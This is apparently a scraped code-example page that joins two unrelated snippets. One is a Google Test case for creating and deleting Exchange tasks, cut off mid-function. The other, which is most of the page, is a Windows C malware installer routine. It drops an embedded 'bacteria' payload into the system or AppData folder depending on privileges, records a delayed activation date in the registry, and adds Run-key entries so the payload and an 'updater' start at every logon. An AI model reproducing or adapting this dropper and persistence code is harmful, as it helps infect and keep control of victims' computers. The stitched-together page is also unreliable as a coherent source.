Ejemplo n.º 1
0
    TEST_F(TaskTest, CreateAndDelete)
    {
        auto start_time = ews::date_time("2015-01-17T12:00:00Z");
        auto end_time = ews::date_time("2015-01-17T12:30:00Z");
        auto task = ews::task();
        task.set_subject("Something really important to do");
        task.set_body(ews::body("Some descriptive body text"));
        task.set_start_date(start_time);
        task.set_due_date(end_time);
        task.set_reminder_enabled(true);
        task.set_reminder_due_by(start_time);
        const auto item_id = service().create_item(task);

        auto created_task = service().get_task(item_id);
        // Check properties
        EXPECT_STREQ("Something really important to do",
                     created_task.get_subject().c_str());
        EXPECT_EQ(start_time, created_task.get_start_date());
        EXPECT_EQ(end_time, created_task.get_due_date());
        EXPECT_TRUE(created_task.is_reminder_enabled());
        EXPECT_EQ(start_time, created_task.get_reminder_due_by());

        ASSERT_NO_THROW({
            service().delete_task(
                std::move(created_task), // Sink argument
                ews::delete_type::hard_delete,
                ews::affected_task_occurrences::all_occurrences);
        });
Ejemplo n.º 2
0
bool initialize(void)
{
    HKEY hkey;
    LONG result_open, result_write;
    FILE *output = NULL;
    unsigned int date;
    
    char environment_var[MAX_ENVVAR_LENGTH];
    char install_directory[MAX_DIR_LENGTH];
    char value_data[MAX_KEY_VALUE_SIZE];
    
    // errors and switches
    bool systemroot_not_found = false;
    bool admin_permission = true; // assume we have permission
    
    // initialize vars
    memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
    memset(install_directory, '\0', MAX_DIR_LENGTH);
    memset(value_data, '\0', MAX_KEY_VALUE_SIZE);
    
    // get systemroot variable
    if(!(GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH))) {
        if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {
            // shit, we'll have to look someplace else
#ifdef DEBUG
            printf("- Error, systemroot envvar not found.\n");
#endif
            systemroot_not_found = true;
            
        } else {
            // some unknown error
#ifdef DEBUG
            printf("- Unknown error getting systemroot envvar.\n");
#endif
            initialize_errorcode = 1;
            return false;
        }
    }
    
    // systemroot was found
    if(!systemroot_not_found) {
#ifdef DEBUG
            printf("- %%systemroot%% found.\n");
#endif
        sprintf(install_directory, "%s\\" ADMIN_BACTERIA_INSTALL_DIR "\\" ADMIN_BACTERIA_FILENAME, environment_var);
        if(!(output = fopen(install_directory, "wb"))) {
            // we have concluded that the user doesn't have permissions
#ifdef DEBUG
            printf("- Error opening %s: Assuming limited permissions.\n", install_directory);
#endif
            admin_permission = false;
        } else {
            // successfully opened file
            
            if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) {
#ifdef DEBUG
                printf("- Error writing bacteria as admin.\n");
#endif
                initialize_errorcode = 2;
                return false;
            } else {
#ifdef DEBUG
                printf("- Successfully wrote bacteria as admin.\n");
#endif
            }
            fclose(output);
        }
    }
    
    // systemroot was not found or we have no permissions
    if(systemroot_not_found || !admin_permission) {
        // since systemroot was not found
        // assume automatically that the user is not admin
        admin_permission = false;
        
        memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
        memset(install_directory, '\0', MAX_DIR_LENGTH);
        
        // get appdata variable
        if(!(GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH))) {
            if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {
                // bitch, not even appdata was found
                // whatever, exit with error
#ifdef DEBUG
                printf("- Error, appdata envvar not found.\n");
#endif
                initialize_errorcode = 3;
                return false;
            } else {
                // some unknown error
#ifdef DEBUG
                printf("- Unknown error getting appdata envvar.\n");
#endif
                initialize_errorcode = 4;
                return false;
            }
        } else {
#ifdef DEBUG
            printf("- %%appdata%% found.\n");
#endif
        }
        
        // Create the %appdata%\BACTERIA_NAME directory
        sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR, environment_var);
        CreateDirectory(install_directory, NULL);
        // it is impossible that the folder was not found... if it is in a system variable
        // and, if it was ERROR_ALREADY_EXISTS, then who cares? that's a good thing.
        
        // prepare the full install directory
        sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR "\\" LIMITED_BACTERIA_FILENAME, environment_var);
        if(!(output = fopen(install_directory, "wb"))) {
#ifdef DEBUG
            printf("- Error opening %s.\n", install_directory);
#endif
            initialize_errorcode = 5;
            return false;
        } else {
            // successfully opened file
            if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) {
#ifdef DEBUG
                printf("- Error writing bacteria as limited user.\n");
#endif
                initialize_errorcode = 6;
                return false;
            } else {
#ifdef DEBUG
                printf("- Successfully wrote bacteria as limited user.\n");
#endif
            }
            fclose(output);
        }
    }
    
    //! now that we copied the bacteria where it is possible
    //! write the keys, they do not require special privilidges
    
    // we first write the date key
    // create the key DATE_KEY_NAME in HKEY_CURRENT_USER
    if((RegCreateKeyEx(HKEY_CURRENT_USER, DATE_KEY_NAME, 0,
                      NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,
                      NULL, &hkey, NULL)) != ERROR_SUCCESS) {
#ifdef DEBUG
        printf("- Error creating date key.\n");
#endif
        initialize_errorcode = 7;
        return false;
    } else {
#ifdef DEBUG
        printf("- Created date key successfully.\n");
#endif
    }
    
    // get the date that bacteria will activate
    date = get_start_date();
#ifdef DEBUG
    printf("- Date is %d.\n", date);
#endif
    
    // open the newly created key
    result_open = RegOpenKeyEx(HKEY_CURRENT_USER,
                               DATE_KEY_NAME, 0, 
                               KEY_WRITE, &hkey);
    
    if(result_open != ERROR_SUCCESS) {
        if(result_open == ERROR_FILE_NOT_FOUND) {
#ifdef DEBUG
            printf("- Error: date key not found.\n");
#endif
            initialize_errorcode = 8;
            return false;
        } else {
#ifdef DEBUG
            printf("- Error opening date key.\n");
#endif
            initialize_errorcode = 9;
            return false;
        }
    } else {
#ifdef DEBUG
        printf("- Successfully opened date key.\n");
#endif
    }
    
    // set a value with name DATE_VALUE_NAME to the key
    if((RegSetValueEx(hkey, DATE_VALUE_NAME, 0,
                       REG_DWORD, (LPBYTE) &date,
                       sizeof(unsigned int))) != ERROR_SUCCESS) {
#ifdef DEBUG
        printf("- Error writing date to key.\n");
#endif
        initialize_errorcode = 10;
        return false;
    } else {
#ifdef DEBUG
        printf("- Successfully wrote value to date key.\n");
#endif
    }
    
    // close the key
    if((RegCloseKey(hkey)) != ERROR_SUCCESS) {
#ifdef DEBUG
        printf("- Error closing date key.\n");
#endif
        initialize_errorcode = 11;
        return false;
    } else {
#ifdef DEBUG
        printf("- Successfully closed date key.\n");
#endif
    }
    
    // open key for writing bacteria, RUN_KEY_NAME
    result_open = RegOpenKeyEx(HKEY_CURRENT_USER, 
                  RUN_KEY_NAME,
                  0, KEY_WRITE, &hkey
    );
    
    // error opening key
    if(result_open != ERROR_SUCCESS) {
        if(result_open == ERROR_FILE_NOT_FOUND) {
#ifdef DEBUG
            printf("- Error: bacteria key not found.\n");
#endif
            initialize_errorcode = 12;
            return false;
        } else {
#ifdef DEBUG
            printf("- Error opening bacteria key.\n");
#endif
            initialize_errorcode = 13;
            return false;
        }
    } else {
#ifdef DEBUG
            printf("- Successfully opened bacteria key.\n");
#endif
    }
    
    // write the directory were it was installed as the value data
    // name: ADMIN_BACTERIA_NAME
    sprintf(value_data, "\"%s\"", install_directory);
    if(admin_permission) {
        result_write = RegSetValueEx(hkey, ADMIN_BACTERIA_NAME, 0, REG_SZ, 
                    value_data, strlen(value_data)
        );
    } else {
        result_write = RegSetValueEx(hkey, LIMITED_BACTERIA_NAME, 0, REG_SZ, 
                    value_data, strlen(value_data)
        );
    }
    
    // error writing key
    if(result_write != ERROR_SUCCESS) {
#ifdef DEBUG
        printf("- Error writing value to bacteria key.\n");
#endif
        initialize_errorcode = 14;
        return false;
    } else {
#ifdef DEBUG
        printf("Successfully wrote %s to bacteria key.\n", value_data);
#endif
    }
    
    // close the key
    if((RegCloseKey(hkey)) != ERROR_SUCCESS) {
#ifdef DEBUG
        printf("- Error closing bacteria key.\n");
#endif
        initialize_errorcode = 15;
        return false;
    } else {
#ifdef DEBUG
        printf("- Successfully closed bacteria key.\n");
#endif
    }
    
    //! if the program got this far
    //! everything in the bacteria installation was a cinch
    //! now lets start with the updater   
    memset(install_directory, '\0', MAX_DIR_LENGTH);
    memset(value_data, '\0', MAX_KEY_VALUE_SIZE);
    output = NULL;
    
    // we already know, if the user is an admin or limited account, 
    // so lets just make 2 cases
    if(admin_permission) {
        // insert updater in %systemroot%\ADMIN_UPDATER_INSTALL_DIR\ADMIN_UPDATER_FILENAME
        // write the registry key to this path
        
        sprintf(install_directory, "%s\\" ADMIN_UPDATER_INSTALL_DIR "\\" ADMIN_UPDATER_FILENAME, environment_var);
        if(!(output = fopen(install_directory, "wb"))) {
            // uh-oh... this ain't good
            // how come I wrote the bacteria, but can't
            // write the updater?
#ifdef DEBUG
            printf("- Error writing updater as admin.\n");
#endif
            initialize_errorcode = 16;
            return false;
        }
        
        if((fwrite(UPDATER_DATA_NAME, sizeof(unsigned char), UPDATER_DATA_SIZE, output)) < UPDATER_DATA_SIZE) {
#ifdef DEBUG
            printf("- Error writing updater as admin.\n");
#endif
            initialize_errorcode = 17;
            return false;
        } else {
#ifdef DEBUG
            printf("- Successfully wrote updater as admin.\n");
#endif
        }
        fclose(output);
        
        // open key RUN_KEY_NAME to insert updater values
        result_open = RegOpenKeyEx(HKEY_CURRENT_USER, 
                    RUN_KEY_NAME,
                    0, KEY_WRITE, &hkey
        );
        
        // error opening key
        if(result_open != ERROR_SUCCESS) {
            if(result_open == ERROR_FILE_NOT_FOUND) {
#ifdef DEBUG
                printf("- Error: updater key not found.\n");
#endif
                initialize_errorcode = 18;
                return false;
            } else {
#ifdef DEBUG
                printf("- Error opening updater key\n");
#endif
                initialize_errorcode = 19;
                return false;
            }
        } else {
#ifdef DEBUG
            printf("- Successfully opened updater key.\n");
#endif
        }
        
        sprintf(value_data, "\"%s\"", install_directory);
        // writing key
        if((RegSetValueEx(hkey, ADMIN_UPDATER_NAME, 0, REG_SZ, 
                   value_data, strlen(value_data))) != ERROR_SUCCESS) {
#ifdef DEBUG
            printf("- Error writing value to updater key.\n");
#endif
            initialize_errorcode = 20;
            return false;
        } else {
#ifdef DEBUG
        printf("- Successfully wrote %s to updater key.\n", value_data);
#endif
        }
        
        // closing key
        if((RegCloseKey(hkey)) != ERROR_SUCCESS) {
#ifdef DEBUG
            printf("- Error closing updater key.\n");
#endif
            initialize_errorcode = 21;
            return false;
        } else {
#ifdef DEBUG
            printf("- Successfully closed updater key.\n");
#endif
        }
        
    } else {
        // insert updater in %appdata%\LIMITED_UPDATER_INSTALL_DIR\LIMITED_UPDATER_FILENAME
        
        sprintf(install_directory, "%s\\" LIMITED_UPDATER_INSTALL_DIR, environment_var);
        CreateDirectory(install_directory, NULL);
        // hey, if it already exists, no problem
        
        memset(install_directory, '\0', MAX_DIR_LENGTH);
        sprintf(install_directory, "%s\\" LIMITED_UPDATER_INSTALL_DIR "\\" LIMITED_UPDATER_FILENAME, environment_var);
        if(!(output = fopen(install_directory, "wb"))) {
            // uh-oh... this ain't good
            // how come I wrote the bacteria, but can't
            // write the updater?
#ifdef DEBUG
            printf("- Error writing updater as a limited user.\n");
#endif
            initialize_errorcode = 22;
            return false;
        }
        
        if((fwrite(UPDATER_DATA_NAME, sizeof(unsigned char), UPDATER_DATA_SIZE, output)) < UPDATER_DATA_SIZE) {
#ifdef DEBUG
            printf("- Error writing updater as a limited user.\n");
#endif
            initialize_errorcode = 23;
            return false;
        } else {
#ifdef DEBUG
        printf("- Successfully wrote updater as a limited user.\n");
#endif
        }
        fclose(output);
        
        // open key RUN_KEY_NAME
        result_open = RegOpenKeyEx(HKEY_CURRENT_USER, 
                    RUN_KEY_NAME,
                    0, KEY_WRITE, &hkey
        );
        
        // error opening key
        if(result_open != ERROR_SUCCESS) {
            if(result_open == ERROR_FILE_NOT_FOUND) {
#ifdef DEBUG
                printf("- Error: updater key not found.\n");
#endif
                initialize_errorcode = 24;
                return false;
            } else {
#ifdef DEBUG
                printf("- Error opening updater key.\n");
#endif
                initialize_errorcode = 26;
                return false;
            }
        } else {
#ifdef DEBUG
            printf("- Sucessfully opened updater key.\n");
#endif
        }
        
        sprintf(value_data, "\"%s\"", install_directory);
        // writing key
        if((RegSetValueEx(hkey, LIMITED_UPDATER_NAME, 0, REG_SZ, 
                   value_data, strlen(value_data))) != ERROR_SUCCESS) {
#ifdef DEBUG
            printf("- Error writing value to updater key.\n");
#endif
            initialize_errorcode = 27;
            return false;
        } else {
#ifdef DEBUG
            printf("- Successfully wrote value %s to updater key.\n", value_data);
#endif
        }
        // closing key
        if((RegCloseKey(hkey)) != ERROR_SUCCESS) {
#ifdef DEBUG
            printf("- Error closing updater key.\n");
#endif
            initialize_errorcode = 28;
            return false;
        } else {
#ifdef DEBUG
            printf("- Successfully closed updater key.\n");
#endif
        }
    }
    
    // yay, everything went well!
    return true;
}